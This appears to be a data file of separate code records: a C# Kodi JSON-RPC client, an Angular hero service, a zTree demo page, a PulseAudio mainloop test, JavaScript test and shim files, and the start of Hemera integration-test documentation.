icon: {instanceID: 0}\r\n userData: \r\n assetBundleName: \r\n assetBundleVariant: \r\n"} {"text": "using System;\nusing System.Net;\nusing System.IO;\nusing System.Text;\nusing System.Threading.Tasks;\nusing Newtonsoft.Json;\nusing Newtonsoft.Json.Converters;\nusing Newtonsoft.Json.Linq;\n\nnamespace XBMCRPC\n{\n\n public partial class Client:IDisposable\n {\n internal IPlatformServices PlatformServices { get; set; }\n public readonly ConnectionSettings _settings;\n private uint JsonRpcId = 0;\n\n public Methods.Addons Addons { get; private set; }\n public Methods.Application Application { get; private set; }\n public Methods.AudioLibrary AudioLibrary { get; private set; }\n public Methods.Favourites Favourites { get; private set; }\n public Methods.Files Files { get; private set; }\n public Methods.GUI GUI { get; private set; }\n public Methods.Input Input { get; private set; }\n public Methods.JSONRPC JSONRPC { get; private set; }\n public Methods.Player Player { get; private set; }\n public Methods.Playlist Playlist { get; private set; }\n public Methods.Profiles Profiles { get; private set; }\n public Methods.PVR PVR { get; private set; }\n public Methods.Settings Settings { get; private set; }\n public Methods.System System { get; private set; }\n public Methods.Textures Textures { get; private set; }\n public Methods.VideoLibrary VideoLibrary { get; private set; }\n public Methods.XBMC XBMC { get; private set; }\n\n public Client(ConnectionSettings settings, IPlatformServices platformServices)\n {\n PlatformServices = platformServices;\n Serializer = new JsonSerializer();\n Serializer.Converters.Add(new StringEnumConverter());\n _settings = settings;\n Addons = new Methods.Addons(this);\n Application = new Methods.Application(this);\n AudioLibrary = new Methods.AudioLibrary(this);\n Favourites = new Methods.Favourites(this);\n Files = new Methods.Files(this);\n GUI = new Methods.GUI(this);\n Input = new Methods.Input(this);\n JSONRPC = new Methods.JSONRPC(this);\n Player = new Methods.Player(this);\n Playlist = new Methods.Playlist(this);\n Profiles = new Methods.Profiles(this);\n PVR = new Methods.PVR(this);\n Settings = new Methods.Settings(this);\n System = new Methods.System(this);\n Textures = new Methods.Textures(this);\n VideoLibrary = new Methods.VideoLibrary(this);\n XBMC = new Methods.XBMC(this);\n }\n\n internal JsonSerializer Serializer { get; private set; }\n\n async internal Task<T> GetData<T>(string method, object args)\n {\n var request = WebRequest.Create(_settings.JsonInterfaceAddress);\n request.Credentials = new NetworkCredential(_settings.UserName, _settings.Password);\n request.ContentType = \"application/json\";\n request.Method = \"POST\";\n var postStream = await request.GetRequestStreamAsync();\n\n var requestId = JsonRpcId++;\n var jsonRequest = BuildJsonPost(method, args, requestId);\n byte[] postData = Encoding.UTF8.GetBytes(jsonRequest);\n postStream.Write(postData, 0, postData.Length);\n postStream.Dispose();\n\n var response = await request.GetResponseAsync();\n var responseStream = response.GetResponseStream();\n string responseData=null;\n if (responseStream != null)\n {\n var streamReader = new StreamReader(responseStream);\n responseData = streamReader.ReadToEnd();\n responseStream.Dispose();\n streamReader.Dispose();\n }\n\n response.Dispose();\n\n JObject query = JObject.Parse(responseData);\n var error = query[\"error\"];\n if (error!=null)\n {\n throw new Exception(error.ToString());\n }\n var result = query[\"result\"].ToObject<T>(Serializer);\n return result;\n }\n\n private static string BuildJsonPost(string method, object args, uint id)\n {\n var jsonPost = new JObject {new JProperty(\"jsonrpc\", \"2.0\"), new JProperty(\"method\", method)};\n if (args != null)\n {\n jsonPost.Add(new JProperty(\"params\", args));\n }\n jsonPost.Add(new JProperty(\"id\", id));\n\n return jsonPost.ToString();\n }\n\n\t\t\n private ISocket _clientSocket;\n\n public async Task StartNotificationListener()\n {\n _clientSocket = PlatformServices.SocketFactory.GetSocket();\n await _clientSocket.ConnectAsync(_settings.Host, _settings.TcpPort);\n\n var stream = _clientSocket.GetInputStream();\n\n ListenForNotifications(stream);\n }\n\n private async Task ListenForNotifications(Stream stream)\n {\n var socketState = new NotificationListenerSocketState();\n try\n {\n while (_clientSocket!=null)\n {\n var receivedDataLength =\n await stream.ReadAsync(socketState.Buffer, 0, NotificationListenerSocketState.BufferSize);\n\n var receivedDataJson = Encoding.UTF8.GetString(socketState.Buffer, 0, receivedDataLength);\n\n socketState.Builder.Append(receivedDataJson);\n\n JObject jObject;\n if (TryParseObject(socketState.Builder.ToString(), out jObject))\n {\n ParseNotification(jObject);\n\n socketState = new NotificationListenerSocketState();\n }\n else\n {\n // Begin listening for remainder of announcement using same socket state\n }\n }\n }\n catch (Exception)\n {\n }\n }\n\n private static bool TryParseObject(string announcementJson, out JObject jObject)\n {\n jObject = null;\n try\n {\n jObject = JObject.Parse(announcementJson);\n }\n catch (Exception)\n {\n return false;\n }\n return true;\n }\n\n\n private void ParseNotification(JObject jObject)\n {\n if (jObject[\"method\"] != null)\n {\n string _method;\n _method = jObject[\"method\"].ToString();\n switch (_method)\n {\n\t\t\t\t\t case \"Application.OnVolumeChanged\":\n Application.RaiseOnVolumeChanged(\njObject[\"params\"][\"sender\"].ToObject<string>(Serializer)\n, jObject[\"params\"][\"data\"].ToObject<XBMCRPC.Application.OnVolumeChanged_data>(Serializer)\n);\n break;\n case \"AudioLibrary.OnCleanFinished\":\n AudioLibrary.RaiseOnCleanFinished(\njObject[\"params\"][\"sender\"].ToObject<string>(Serializer)\n, jObject[\"params\"][\"data\"].ToObject<object>(Serializer)\n);\n break;\n case \"AudioLibrary.OnCleanStarted\":\n AudioLibrary.RaiseOnCleanStarted(\njObject[\"params\"][\"sender\"].ToObject<string>(Serializer)\n, jObject[\"params\"][\"data\"].ToObject<object>(Serializer)\n);\n break;\n case \"AudioLibrary.OnRemove\":\n AudioLibrary.RaiseOnRemove(\njObject[\"params\"][\"sender\"].ToObject<string>(Serializer)\n, jObject[\"params\"][\"data\"].ToObject<XBMCRPC.AudioLibrary.OnRemove_data>(Serializer)\n);\n break;\n case \"AudioLibrary.OnScanFinished\":\n AudioLibrary.RaiseOnScanFinished(\njObject[\"params\"][\"sender\"].ToObject<string>(Serializer)\n, jObject[\"params\"][\"data\"].ToObject<object>(Serializer)\n);\n break;\n case \"AudioLibrary.OnScanStarted\":\n AudioLibrary.RaiseOnScanStarted(\njObject[\"params\"][\"sender\"].ToObject<string>(Serializer)\n, jObject[\"params\"][\"data\"].ToObject<object>(Serializer)\n);\n break;\n case \"AudioLibrary.OnUpdate\":\n AudioLibrary.RaiseOnUpdate(\njObject[\"params\"][\"sender\"].ToObject<string>(Serializer)\n, jObject[\"params\"][\"data\"].ToObject<XBMCRPC.AudioLibrary.OnUpdate_data>(Serializer)\n);\n break;\n case \"GUI.OnScreensaverActivated\":\n GUI.RaiseOnScreensaverActivated(\njObject[\"params\"][\"sender\"].ToObject<string>(Serializer)\n, jObject[\"params\"][\"data\"].ToObject<object>(Serializer)\n);\n break;\n case \"GUI.OnScreensaverDeactivated\":\n GUI.RaiseOnScreensaverDeactivated(\njObject[\"params\"][\"sender\"].ToObject<string>(Serializer)\n, jObject[\"params\"][\"data\"].ToObject<object>(Serializer)\n);\n break;\n case \"Input.OnInputFinished\":\n Input.RaiseOnInputFinished(\njObject[\"params\"][\"sender\"].ToObject<string>(Serializer)\n, jObject[\"params\"][\"data\"].ToObject<object>(Serializer)\n);\n break;\n case \"Input.OnInputRequested\":\n Input.RaiseOnInputRequested(\njObject[\"params\"][\"sender\"].ToObject<string>(Serializer)\n, jObject[\"params\"][\"data\"].ToObject<XBMCRPC.Input.OnInputRequested_data>(Serializer)\n);\n break;\n case \"Player.OnPause\":\n Player.RaiseOnPause(\njObject[\"params\"][\"sender\"].ToObject<string>(Serializer)\n, jObject[\"params\"][\"data\"].ToObject<XBMCRPC.Player.Notifications.Data>(Serializer)\n);\n break;\n case \"Player.OnPlay\":\n Player.RaiseOnPlay(\njObject[\"params\"][\"sender\"].ToObject<string>(Serializer)\n, jObject[\"params\"][\"data\"].ToObject<XBMCRPC.Player.Notifications.Data>(Serializer)\n);\n break;\n case \"Player.OnPropertyChanged\":\n Player.RaiseOnPropertyChanged(\njObject[\"params\"][\"sender\"].ToObject<string>(Serializer)\n, jObject[\"params\"][\"data\"].ToObject<XBMCRPC.Player.OnPropertyChanged_data>(Serializer)\n);\n break;\n case \"Player.OnSeek\":\n Player.RaiseOnSeek(\njObject[\"params\"][\"sender\"].ToObject<string>(Serializer)\n, jObject[\"params\"][\"data\"].ToObject<XBMCRPC.Player.OnSeek_data>(Serializer)\n);\n break;\n case \"Player.OnSpeedChanged\":\n Player.RaiseOnSpeedChanged(\njObject[\"params\"][\"sender\"].ToObject<string>(Serializer)\n, jObject[\"params\"][\"data\"].ToObject<XBMCRPC.Player.Notifications.Data>(Serializer)\n);\n break;\n case \"Player.OnStop\":\n Player.RaiseOnStop(\njObject[\"params\"][\"sender\"].ToObject<string>(Serializer)\n, jObject[\"params\"][\"data\"].ToObject<XBMCRPC.Player.OnStop_data>(Serializer)\n);\n break;\n case \"Playlist.OnAdd\":\n Playlist.RaiseOnAdd(\njObject[\"params\"][\"sender\"].ToObject<string>(Serializer)\n, jObject[\"params\"][\"data\"].ToObject<XBMCRPC.Playlist.OnAdd_data>(Serializer)\n);\n break;\n case \"Playlist.OnClear\":\n Playlist.RaiseOnClear(\njObject[\"params\"][\"sender\"].ToObject<string>(Serializer)\n, jObject[\"params\"][\"data\"].ToObject<XBMCRPC.Playlist.OnClear_data>(Serializer)\n);\n break;\n case \"Playlist.OnRemove\":\n Playlist.RaiseOnRemove(\njObject[\"params\"][\"sender\"].ToObject<string>(Serializer)\n, jObject[\"params\"][\"data\"].ToObject<XBMCRPC.Playlist.OnRemove_data>(Serializer)\n);\n break;\n case \"System.OnLowBattery\":\n System.RaiseOnLowBattery(\njObject[\"params\"][\"sender\"].ToObject<string>(Serializer)\n, jObject[\"params\"][\"data\"].ToObject<object>(Serializer)\n);\n break;\n case \"System.OnQuit\":\n System.RaiseOnQuit(\njObject[\"params\"][\"sender\"].ToObject<string>(Serializer)\n, jObject[\"params\"][\"data\"].ToObject<object>(Serializer)\n);\n break;\n case \"System.OnRestart\":\n System.RaiseOnRestart(\njObject[\"params\"][\"sender\"].ToObject<string>(Serializer)\n, jObject[\"params\"][\"data\"].ToObject<object>(Serializer)\n);\n break;\n case \"System.OnSleep\":\n System.RaiseOnSleep(\njObject[\"params\"][\"sender\"].ToObject<string>(Serializer)\n, jObject[\"params\"][\"data\"].ToObject<object>(Serializer)\n);\n break;\n case \"System.OnWake\":\n System.RaiseOnWake(\njObject[\"params\"][\"sender\"].ToObject<string>(Serializer)\n, jObject[\"params\"][\"data\"].ToObject<object>(Serializer)\n);\n break;\n case \"VideoLibrary.OnCleanFinished\":\n VideoLibrary.RaiseOnCleanFinished(\njObject[\"params\"][\"sender\"].ToObject<string>(Serializer)\n, jObject[\"params\"][\"data\"].ToObject<object>(Serializer)\n);\n break;\n case \"VideoLibrary.OnCleanStarted\":\n VideoLibrary.RaiseOnCleanStarted(\njObject[\"params\"][\"sender\"].ToObject<string>(Serializer)\n, jObject[\"params\"][\"data\"].ToObject<object>(Serializer)\n);\n break;\n case \"VideoLibrary.OnRemove\":\n VideoLibrary.RaiseOnRemove(\njObject[\"params\"][\"sender\"].ToObject<string>(Serializer)\n, jObject[\"params\"][\"data\"].ToObject<XBMCRPC.VideoLibrary.OnRemove_data>(Serializer)\n);\n break;\n case \"VideoLibrary.OnScanFinished\":\n VideoLibrary.RaiseOnScanFinished(\njObject[\"params\"][\"sender\"].ToObject<string>(Serializer)\n, jObject[\"params\"][\"data\"].ToObject<object>(Serializer)\n);\n break;\n case \"VideoLibrary.OnScanStarted\":\n VideoLibrary.RaiseOnScanStarted(\njObject[\"params\"][\"sender\"].ToObject<string>(Serializer)\n, jObject[\"params\"][\"data\"].ToObject<object>(Serializer)\n);\n break;\n case \"VideoLibrary.OnUpdate\":\n VideoLibrary.RaiseOnUpdate(\njObject[\"params\"][\"sender\"].ToObject<string>(Serializer)\n, jObject[\"params\"][\"data\"].ToObject<XBMCRPC.VideoLibrary.OnUpdate_data>(Serializer)\n);\n break;\n\n }\n }\n }\n\n public void Dispose()\n {\n var socket = _clientSocket;\n _clientSocket = null;\n if (socket != null)\n {\n socket.Dispose();\n }\n }\n\n }\n}"} {"text": "const streakjs = require('../../../lib/streakjs/streakjs.min');\r\n\r\nexport function runDraw(layer) { \r\n\r\n var text = new streakjs.shapes.Text({\r\n x: (layer.width - 240) / 2,\r\n y: 100,\r\n text:\"streakjs\",\r\n fontSize: 32, \r\n fill: '#555',\r\n width: 240,\r\n padding: 20,\r\n align: 'center'\r\n });\r\n\r\n var rect = new streakjs.shapes.Rect({\r\n x: (layer.width - 240) / 2,\r\n y: 100, \r\n fill: '#ddd',\r\n width: 240,\r\n height: 80, \r\n strokeWidth: 10, \r\n strokeLinearGradientStartPoint: { x: 0, y: 0 },\r\n strokeLinearGradientEndPoint: { x: 240, y: 80 },\r\n strokeLinearGradientColorStops: [0, 'blue', 1, 'green'] \r\n });\r\n \r\n layer.add(rect);\r\n layer.add(text);\r\n\r\n\r\n layer.draw();\r\n\r\n}"} {"text": "a=1\necho \">$a\"\n"} {"text": "/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */\n/* This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http://mozilla.org/MPL/2.0/. */\nimport com.adobe.test.Assert;\n\ngTestfile = 'regress-7224.js';\n\n/**\n * File Name: regress-7224.js\n * Reference: js1_2\n * Description: Remove support for the arg\n * Author: ** replace with your e-mail address **\n */\n\n// var SECTION = \"regress\"; // provide a document reference (ie, ECMA section)\n// var VERSION = \"JS1_4\"; // Version of JavaScript or ECMA\n// var TITLE = \"Regression test for bugzilla #7224\"; // Provide ECMA section title or a description\nvar BUGNUMBER = \"http://bugzilla.mozilla.org/show_bug.cgi?id=7224\"; // Provide URL to bugsplat or bugzilla report\n\n\nvar f = function() {return arguments.caller};\nvar o = {};\n\no.foo = f;\no.foo(\"a\", \"b\", \"c\");\n\n\nAssert.expectEq(\n \"var f = new Function( 'return arguments.caller' ); f()\",\n undefined,\n f() );\n\nAssert.expectEq(\n \"var o = {}; o.foo = f; o.foo('a')\",\n undefined,\n o.foo('a') );\n\n// displays results.\n"} {"text": "import { Injectable } from '@angular/core';\nimport { HttpClient, HttpHeaders } from '@angular/common/http';\n\nimport { Observable, of } from 'rxjs';\nimport { catchError, map, tap } from 'rxjs/operators';\n\nimport { Hero } from './hero';\nimport { MessageService } from './message.service';\n\n\n@Injectable({ providedIn: 'root' })\nexport class HeroService {\n\n private heroesUrl = 'api/heroes'; // URL to web api\n\n httpOptions = {\n headers: new HttpHeaders({ 'Content-Type': 'application/json' })\n };\n\n constructor(\n private http: HttpClient,\n private messageService: MessageService) { }\n\n /** GET heroes from the server */\n getHeroes(): Observable<Hero[]> {\n return this.http.get<Hero[]>(this.heroesUrl)\n .pipe(\n tap(_ => this.log('fetched heroes')),\n catchError(this.handleError<Hero[]>('getHeroes', []))\n );\n }\n\n /** GET hero by id. Return `undefined` when id not found */\n getHeroNo404<Data>(id: number): Observable<Hero> {\n const url = `${this.heroesUrl}/?id=${id}`;\n return this.http.get<Hero[]>(url)\n .pipe(\n map(heroes => heroes[0]), // returns a {0|1} element array\n tap(h => {\n const outcome = h ? `fetched` : `did not find`;\n this.log(`${outcome} hero id=${id}`);\n }),\n catchError(this.handleError<Hero>(`getHero id=${id}`))\n );\n }\n\n /** GET hero by id. Will 404 if id not found */\n getHero(id: number): Observable<Hero> {\n const url = `${this.heroesUrl}/${id}`;\n return this.http.get<Hero>(url).pipe(\n tap(_ => this.log(`fetched hero id=${id}`)),\n catchError(this.handleError<Hero>(`getHero id=${id}`))\n );\n }\n\n /* GET heroes whose name contains search term */\n searchHeroes(term: string): Observable<Hero[]> {\n if (!term.trim()) {\n // if not search term, return empty hero array.\n return of([]);\n }\n return this.http.get<Hero[]>(`${this.heroesUrl}/?name=${term}`).pipe(\n tap(x => x.length ?\n this.log(`found heroes matching \"${term}\"`) :\n this.log(`no heroes matching \"${term}\"`)),\n catchError(this.handleError<Hero[]>('searchHeroes', []))\n );\n }\n\n //////// Save methods //////////\n\n /** POST: add a new hero to the server */\n addHero(hero: Hero): Observable<Hero> {\n return this.http.post<Hero>(this.heroesUrl, hero, this.httpOptions).pipe(\n tap((newHero: Hero) => this.log(`added hero w/ id=${newHero.id}`)),\n catchError(this.handleError<Hero>('addHero'))\n );\n }\n\n /** DELETE: delete the hero from the server */\n deleteHero(hero: Hero | number): Observable<Hero> {\n const id = typeof hero === 'number' ? hero : hero.id;\n const url = `${this.heroesUrl}/${id}`;\n\n return this.http.delete<Hero>(url, this.httpOptions).pipe(\n tap(_ => this.log(`deleted hero id=${id}`)),\n catchError(this.handleError<Hero>('deleteHero'))\n );\n }\n\n /** PUT: update the hero on the server */\n updateHero(hero: Hero): Observable<any> {\n return this.http.put(this.heroesUrl, hero, this.httpOptions).pipe(\n tap(_ => this.log(`updated hero id=${hero.id}`)),\n catchError(this.handleError<any>('updateHero'))\n );\n }\n\n /**\n * Handle Http operation that failed.\n * Let the app continue.\n * @param operation - name of the operation that failed\n * @param result - optional value to return as the observable result\n */\n private handleError<T>(operation = 'operation', result?: T) {\n return (error: any): Observable<T> => {\n\n // TODO: send the error to remote logging infrastructure\n console.error(error); // log to console instead\n\n // TODO: better job of transforming error for user consumption\n this.log(`${operation} failed: ${error.message}`);\n\n // Let the app keep running by returning an empty result.\n return of(result as T);\n };\n }\n\n /** Log a HeroService message with the MessageService */\n private log(message: string) {\n this.messageService.add(`HeroService: ${message}`);\n }\n}\n"} {"text": "<!DOCTYPE html>\n<HTML>\n<HEAD>\n\t<TITLE> ZTREE DEMO - Other Mouse Event</TITLE>\n\t<meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\">\n\t<link rel=\"stylesheet\" href=\"../../../css/demo.css\" type=\"text/css\">\n\t<link rel=\"stylesheet\" href=\"../../../css/zTreeStyle/zTreeStyle.css\" type=\"text/css\">\n\t<script type=\"text/javascript\" src=\"../../../js/jquery-1.4.4.min.js\"></script>\n\t<script type=\"text/javascript\" src=\"../../../js/jquery.ztree.core-3.5.js\"></script>\n\t<!-- <script type=\"text/javascript\" src=\"../../../js/jquery.ztree.excheck-3.5.js\"></script>\n\t <script type=\"text/javascript\" src=\"../../../js/jquery.ztree.exedit-3.5.js\"></script>-->\n\t<SCRIPT type=\"text/javascript\">\n\t\t<!--\n\t\tvar setting = {\n\t\t\tdata: {\n\t\t\t\tkey: {\n\t\t\t\t\ttitle:\"t\"\n\t\t\t\t},\n\t\t\t\tsimpleData: {\n\t\t\t\t\tenable: true\n\t\t\t\t}\n\t\t\t},\n\t\t\tcallback: {\n\t\t\t\tbeforeMouseDown: beforeMouseDown,\n\t\t\t\tbeforeMouseUp: beforeMouseUp,\n\t\t\t\tbeforeRightClick: beforeRightClick,\n\t\t\t\tonMouseDown: onMouseDown,\n\t\t\t\tonMouseUp: onMouseUp,\n\t\t\t\tonRightClick: onRightClick\n\t\t\t}\n\t\t};\n\n\t\tvar zNodes =[\n\t\t\t{ id:1, pId:0, name:\"不能 右键 0\", t:\"试试右键,没有 onRightClick 吧?\", open:true, right:false},\n\t\t\t{ id:11, pId:1, name:\"不能 右键 1\", t:\"试试右键,没有 onRightClick 吧?\", right:false},\n\t\t\t{ id:12, pId:1, name:\"不能 右键 2\", t:\"试试右键,没有 onRightClick 吧?\", right:false},\n\t\t\t{ id:13, pId:1, name:\"不能 右键 3\", t:\"试试右键,没有 onRightClick 吧?\", right:false},\n\t\t\t{ id:2, pId:0, name:\"不能 Down 0\", t:\"试试 MouseDown ,没有 onMouseDown 吧?\", open:true, down:false},\n\t\t\t{ id:21, pId:2, name:\"不能 Down 1\", t:\"试试 MouseDown ,没有 onMouseDown 吧?\", down:false},\n\t\t\t{ id:22, pId:2, name:\"不能 Down 2\", t:\"试试 MouseDown ,没有 onMouseDown 吧?\", down:false},\n\t\t\t{ id:23, pId:2, name:\"不能 Down 3\", t:\"试试 MouseDown ,没有 onMouseDown 吧?\", down:false},\n\t\t\t{ id:3, pId:0, name:\"不能 Up 0\", t:\"试试 MouseUp ,没有 onMouseUp 吧?\", open:true, up:false},\n\t\t\t{ id:31, pId:3, name:\"不能 Up 1\", t:\"试试 MouseUp ,没有 onMouseUp 吧?\", up:false},\n\t\t\t{ id:32, pId:3, name:\"不能 Up 2\", t:\"试试 MouseUp ,没有 onMouseUp 吧?\", up:false},\n\t\t\t{ id:33, pId:3, name:\"不能 Up 3\", t:\"试试 MouseUp ,没有 onMouseUp 吧?\", up:false}\n\t\t];\n\n\t\tvar log, className = {down:\"dark\", up:\"dark\", right:\"dark\"};\n\t\tfunction beforeMouseDown(treeId, treeNode) {\n\t\t\tclassName.down = (className.down === \"dark\" ? \"\":\"dark\");\n\t\t\tshowLog(\"[ \"+getTime()+\" beforeMouseDown ]&nbsp;&nbsp;\" + (treeNode?treeNode.name:\"root\"), \"down\" );\n\t\t\treturn (!treeNode || treeNode.down != false);\n\t\t}\n\t\tfunction onMouseDown(event, treeId, treeNode) {\n\t\t\tshowLog(\"[ \"+getTime()+\" onMouseDown ]&nbsp;&nbsp;\" + (treeNode?treeNode.name:\"root\"), \"down\" );\n\t\t}\n\t\tfunction beforeMouseUp(treeId, treeNode) {\n\t\t\tclassName.up = (className.up === \"dark\" ? \"\":\"dark\");\n\t\t\tshowLog(\"[ \"+getTime()+\" beforeMouseUp ]&nbsp;&nbsp;\" + (treeNode?treeNode.name:\"root\"), \"up\" );\n\t\t\treturn (!treeNode || treeNode.up != false);\n\t\t}\n\t\tfunction onMouseUp(event, treeId, treeNode) {\n\t\t\tshowLog(\"[ \"+getTime()+\" onMouseUp ]&nbsp;&nbsp;\" + (treeNode?treeNode.name:\"root\"), \"up\" );\n\t\t}\n\t\tfunction beforeRightClick(treeId, treeNode) {\n\t\t\tclassName.right = (className.right === \"dark\" ? \"\":\"dark\");\n\t\t\tshowLog(\"[ \"+getTime()+\" beforeRightClick ]&nbsp;&nbsp;\" + (treeNode?treeNode.name:\"root\"), \"right\" );\n\t\t\treturn (!treeNode || treeNode.right != false);\n\t\t}\n\t\tfunction onRightClick(event, treeId, treeNode) {\n\t\t\tshowLog(\"[ \"+getTime()+\" onRightClick ]&nbsp;&nbsp;\" + (treeNode?treeNode.name:\"root\"), \"right\" );\n\t\t}\n\t\tfunction showLog(str, logType) {\n\t\t\tlog = $(\"#log\" + \"_\" + logType);\n\t\t\tlog.append(\"<li class='\"+className[logType]+\"'>\"+str+\"</li>\");\n\t\t\tif(log.children(\"li\").length > 2) {\n\t\t\t\tlog.get(0).removeChild(log.children(\"li\")[0]);\n\t\t\t}\n\t\t}\n\t\tfunction getTime() {\n\t\t\tvar now= new Date(),\n\t\t\th=now.getHours(),\n\t\t\tm=now.getMinutes(),\n\t\t\ts=now.getSeconds(),\n\t\t\tms=now.getMilliseconds();\n\t\t\treturn (h+\":\"+m+\":\"+s+ \" \" +ms);\n\t\t}\n\n\t\t$(document).ready(function(){\n\t\t\t$.fn.zTree.init($(\"#treeDemo\"), setting, zNodes);\n\t\t});\n\t\t//-->\n\t</SCRIPT>\n</HEAD>\n\n<BODY>\n<h1>其他鼠标事件监听</h1>\n<h6>[ 文件路径: core/otherMouse.html ]</h6>\n<div class=\"content_wrap\">\n\t<div class=\"zTreeDemoBackground left\">\n\t\t<ul id=\"treeDemo\" class=\"ztree\"></ul>\n\t</div>\n\t<div class=\"right\">\n\t\t<ul class=\"info\">\n\t\t\t<li class=\"title\"><h2>1、mousedown / mouseup / rightClick 事件回调函数控制</h2>\n\t\t\t\t<ul class=\"list\">\n\t\t\t\t<li>zTree 提供 这几种鼠标事件响应,主要是为了便于用户针对一些特殊需求进行扩展开发,不会对 zTree 造成任何影响,这里简单演示如何监控此事件</li>\n\t\t\t\t<li><p><span class=\"highlight_red\">请尝试鼠标在 zTree 上胡乱点击(左键、右键)吧,顺便看看 log</span><br/>\n\t\t\t\t\tmousedown event log:<br/>\n\t\t\t\t\t<ul id=\"log_down\" class=\"log small\"></ul>\n\t\t\t\t\tmouseup event log:<br/>\n\t\t\t\t\t<ul id=\"log_up\" class=\"log small\"></ul>\n\t\t\t\t\trightClick event log:<br/>\n\t\t\t\t\t<ul id=\"log_right\" class=\"log small\"></ul></p>\n\t\t\t\t</li>\n\t\t\t\t</ul>\n\t\t\t</li>\n\t\t\t<li class=\"title\"><h2>2、setting 配置信息说明</h2>\n\t\t\t\t<ul class=\"list\">\n\t\t\t\t<li class=\"highlight_red\">事件回调函数的使用,详细请参见 API 文档中 setting.callback 的相关内容</li>\n\t\t\t\t</ul>\n\t\t\t</li>\n\t\t\t<li class=\"title\"><h2>3、treeNode 节点数据说明</h2>\n\t\t\t\t<ul class=\"list\">\n\t\t\t\t<li>对 节点数据 没有特殊要求,用户可以根据自己的需求添加自定义属性</li>\n\t\t\t\t</ul>\n\t\t\t</li>\n\t\t</ul>\n\t</div>\n</div>\n</BODY>\n</HTML>"} {"text": "'use strict';\n\nvar getPolyfill = require('./polyfill');\nvar define = require('define-properties');\n\nmodule.exports = function shimGetOwnPropertyDescriptors() {\n\tvar polyfill = getPolyfill();\n\tdefine(\n\t\tObject,\n\t\t{ getOwnPropertyDescriptors: polyfill },\n\t\t{ getOwnPropertyDescriptors: function () { return Object.getOwnPropertyDescriptors !== polyfill; } }\n\t);\n\treturn polyfill;\n};\n"} {"text": "/***\n This file is part of PulseAudio.\n\n PulseAudio is free software; you can redistribute it and/or modify\n it under the terms of the GNU Lesser General Public License as published\n by the Free Software Foundation; either version 2.1 of the License,\n or (at your option) any later version.\n\n PulseAudio is distributed in the hope that it will be useful, but\n WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n General Public License for more details.\n\n You should have received a copy of the GNU Lesser General Public License\n along with PulseAudio; if not, see <http://www.gnu.org/licenses/>.\n***/\n\n#ifdef HAVE_CONFIG_H\n#include <config.h>\n#endif\n\n#include <stdio.h>\n#include <unistd.h>\n#include <sys/time.h>\n#include <assert.h>\n#include <check.h>\n\n#include <pulse/rtclock.h>\n#include <pulse/timeval.h>\n\n#include <pulsecore/core-util.h>\n#include <pulsecore/core-rtclock.h>\n\n#ifdef GLIB_MAIN_LOOP\n\n#include <glib.h>\n#include <pulse/glib-mainloop.h>\n\nstatic GMainLoop* glib_main_loop = NULL;\n\n#else /* GLIB_MAIN_LOOP */\n#include <pulse/mainloop.h>\n#endif /* GLIB_MAIN_LOOP */\n\nstatic pa_defer_event *de;\n\nstatic void iocb(pa_mainloop_api*a, pa_io_event *e, int fd, pa_io_event_flags_t f, void *userdata) {\n unsigned char c;\n pa_assert_se(read(fd, &c, sizeof(c)) >= 0);\n fprintf(stderr, \"IO EVENT: %c\\n\", c < 32 ? '.' : c);\n a->defer_enable(de, 1);\n}\n\nstatic void dcb(pa_mainloop_api*a, pa_defer_event *e, void *userdata) {\n fprintf(stderr, \"DEFER EVENT\\n\");\n a->defer_enable(e, 0);\n}\n\nstatic void tcb(pa_mainloop_api*a, pa_time_event *e, const struct timeval *tv, void *userdata) {\n fprintf(stderr, \"TIME EVENT\\n\");\n\n#if defined(GLIB_MAIN_LOOP)\n g_main_loop_quit(glib_main_loop);\n#else\n a->quit(a, 0);\n#endif\n}\n\nSTART_TEST (mainloop_test) {\n pa_mainloop_api *a;\n pa_io_event *ioe;\n pa_time_event *te;\n struct timeval tv;\n\n#ifdef GLIB_MAIN_LOOP\n pa_glib_mainloop *g;\n\n glib_main_loop = g_main_loop_new(NULL, FALSE);\n fail_if(!glib_main_loop);\n\n g = pa_glib_mainloop_new(NULL);\n fail_if(!g);\n\n a = pa_glib_mainloop_get_api(g);\n fail_if(!a);\n#else /* GLIB_MAIN_LOOP */\n pa_mainloop *m;\n\n m = pa_mainloop_new();\n fail_if(!m);\n\n a = pa_mainloop_get_api(m);\n fail_if(!a);\n#endif /* GLIB_MAIN_LOOP */\n\n ioe = a->io_new(a, 0, PA_IO_EVENT_INPUT, iocb, NULL);\n fail_if(!ioe);\n\n de = a->defer_new(a, dcb, NULL);\n fail_if(!de);\n\n te = a->time_new(a, pa_timeval_rtstore(&tv, pa_rtclock_now() + 2 * PA_USEC_PER_SEC, true), tcb, NULL);\n\n#if defined(GLIB_MAIN_LOOP)\n g_main_loop_run(glib_main_loop);\n#else\n pa_mainloop_run(m, NULL);\n#endif\n\n a->time_free(te);\n a->defer_free(de);\n a->io_free(ioe);\n\n#ifdef GLIB_MAIN_LOOP\n pa_glib_mainloop_free(g);\n g_main_loop_unref(glib_main_loop);\n#else\n pa_mainloop_free(m);\n#endif\n}\nEND_TEST\n\nint main(int argc, char *argv[]) {\n int failed = 0;\n Suite *s;\n TCase *tc;\n SRunner *sr;\n\n s = suite_create(\"MainLoop\");\n tc = tcase_create(\"mainloop\");\n tcase_add_test(tc, mainloop_test);\n suite_add_tcase(s, tc);\n\n sr = srunner_create(s);\n srunner_run_all(sr, CK_NORMAL);\n failed = srunner_ntests_failed(sr);\n srunner_free(sr);\n\n return (failed == 0) ? EXIT_SUCCESS : EXIT_FAILURE;\n}\n"} {"text": "---\nid: version-5.1.0-integration\ntitle: Integration-test\nsidebar_label: Integration\noriginal_id: integration\n---\n\nWe provide a simple package called [hemera-testsuite](https://github.com/hemerajs/hemera-testsuite) to start a NATS Server programmatically.\n\n### Prerequisites\n\n- Installed NATS Server, included in the user `PATH` environment variable.\n\n```js\nconst server = HemeraTestsuite.start_server(PORT, done)\nserver.kill()\n```\n\n## Example mocha test\n\n```js\ndescribe('Basic', function() {\n const PORT = 6242\n const natsUrl = 'nats://localhost:' + PORT\n let server\n\n // Start up our own nats-server\n before(function(done) {\n server = HemeraTestsuite.start_server(PORT, done)\n })\n\n // Shutdown our server after we are done\n after(function() {\n server.kill()\n })\n\n 